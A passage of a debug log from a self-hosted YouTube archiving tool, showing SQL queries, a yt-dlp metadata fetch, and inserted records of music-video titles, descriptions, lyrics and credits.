Ouro Kronii\nComposition: JALTO\nArrangement: JALTO\nChoreography: Miyuki Nishijima\nEP Jacket Design: mi-mi\nEP Illustration: unripesaga / 사가 (https://x.com/unripesaga)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\n\nThank you so much to each person on the superstar team behind this project, we couldn't have done it without you!\nAnd thank you kronies for all your patience and support!\n\nAdditional Crediting\nPyeongchang Peace Font & Pyeongchang Font\nThe intellectual property rights for the Pyeongchang Exclusive Font belong to Pyeongchang-gun.\n----------------------------------------------------------------------------\n\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n\n----------------------------------------------------------------------------", "【Original Song MV】Way 2 U - Ouro Kronii", "283d3be6-c058-4d6a-84da-dcf556b161ab", false, "Kr2lbQwHQeY", 120, false, "https://www.youtube.com/watch?v=Kr2lbQwHQeY", 39, "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", false, false, 1, [], 1, ~U[2026-05-28 00:00:06Z], ~U[2026-07-24 02:22:40Z], ~U[2026-07-24 02:22:40Z], "I found my Way 2 U 💙\nStreaming: cover.lnk.to/7H7pTk\n\n🔽 💙 Way 2 U CP + LP (Vinyl) EP Available for Pre-Purchase NOW 💙 🔽\nSales end 2026/06/08 18:00 (JST) / 2026/06/08 02:00 AM PDT \nEN: https://shop.hololivepro.com/en/products/ourokronii_1step_way2u\nJP: https://shop.hololivepro.com/products/ourokronii_1step_way2u\n\n⭐ Get a Limited Edition Mystery Poster Individually Signed by Kronii on purchase ⭐\n\n 【Credits】\nMV: Riguruma (https://x.com/riguruma)\nMV Illustration: Mameng (https://x.com/brmameng)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\nLogo Design: mi-mi (https://x.com/__mmkmm)\n\n【Way 2 U】\nLyrics: JALTO, Ouro Kronii\nComposition: JALTO\nArrangement: JALTO\nChoreography: Miyuki Nishijima\nEP Jacket Design: mi-mi\nEP Illustration: unripesaga / 사가 (https://x.com/unripesaga)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\n\nThank you so much to each person on the superstar team behind this project, we couldn't have done it without you!\nAnd thank you kronies for all your patience and support!\n\nAdditional Crediting\nPyeongchang Peace Font & Pyeongchang Font\nThe intellectual property rights for the Pyeongchang Exclusive Font belong to Pyeongchang-gun.\n----------------------------------------------------------------------------\n\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n\n----------------------------------------------------------------------------", "【Original Song MV】Way 2 U - Ouro Kronii", "Kr2lbQwHQeY", 120, false, "https://www.youtube.com/watch?v=Kr2lbQwHQeY", "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", false, 1, ~U[2026-05-28 00:00:06Z]] 22:22:40.672 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=284.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:40.673 [debug] QUERY OK source="media_profiles" db=0.5ms idle=284.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:40.674 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=285.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [457] 22:22:40.674 [debug] Current batch of media processed. Will check again in 1000ms 22:22:41.147 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PL_trH6zRu85NAi_KMABvQWpQ0gKmrj7QY --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/40/2e/402ec14fb9d7df9d02bbefacb897e216d2740ba2617ea8fb9f077caf222257ba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:22:41.148 [debug] Gracefully stopping file follower 22:22:41.148 [debug] QUERY OK source="sources" db=0.2ms idle=477.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:41.148 [debug] QUERY OK source="sources" db=0.1ms idle=476.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:41.149 [debug] QUERY OK source="media_items" db=0.1ms idle=475.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-09 08:38:00Z], 1] 22:22:41.330 [debug] QUERY OK source="media_items" db=180.4ms idle=474.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "392f35ce-9cb5-4200-baad-7a6e620e1621", false, "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", 1, "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, false, 1, [], 1, ~U[2018-10-09 08:38:00Z], ~U[2026-07-24 02:22:41Z], ~U[2026-07-24 02:22:41Z], "• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, 1, ~U[2018-10-09 08:38:00Z]] 22:22:41.330 [debug] QUERY OK source="sources" db=0.1ms idle=562.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:41.331 [debug] QUERY OK source="media_items" db=0.1ms idle=182.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-25 12:00:07Z], 1] 22:22:41.494 [debug] QUERY OK source="media_items" db=162.7ms idle=182.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "3e248d24-9828-4ea9-a952-45b06965a0bc", false, "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", 2, "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, false, 1, [], 1, ~U[2018-11-25 12:00:07Z], ~U[2026-07-24 02:22:41Z], ~U[2026-07-24 02:22:41Z], "⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, 1, ~U[2018-11-25 12:00:07Z]] 22:22:41.495 [debug] QUERY OK source="sources" db=0.2ms idle=345.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:41.495 [debug] QUERY OK source="media_items" db=0.1ms idle=165.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 22:48:12Z], 1] 22:22:41.660 [debug] QUERY OK source="media_items" db=164.8ms idle=164.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "54a4d109-37bb-444b-a50d-3d1bae47f938", false, "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", 3, "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, false, 1, [], 1, ~U[2022-07-07 22:48:12Z], ~U[2026-07-24 02:22:41Z], ~U[2026-07-24 02:22:41Z], "Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, 1, ~U[2022-07-07 22:48:12Z]] 22:22:41.661 [debug] QUERY OK source="sources" db=0.5ms idle=329.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:41.661 [debug] QUERY OK source="media_items" db=0.1ms idle=167.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 10:01:25Z], 1] 22:22:41.876 [debug] QUERY OK source="media_items" db=213.7ms idle=166.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "e705072c-57f1-455e-b3e1-2383cdaa0a98", false, "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", 4, "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, false, 1, [], 2, ~U[2026-05-22 10:01:25Z], ~U[2026-07-24 02:22:41Z], ~U[2026-07-24 02:22:41Z], "Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, 1, ~U[2026-05-22 10:01:25Z]] 22:22:41.877 [debug] QUERY OK source="sources" db=0.5ms idle=216.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:41.878 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=216.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-02-04 00:26:39Z], 1] 22:22:42.091 [debug] QUERY OK source="media_items" db=212.8ms idle=216.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "7cfa51f3-7249-4f98-b645-1b9ff8a827ea", false, "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", 5, "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine 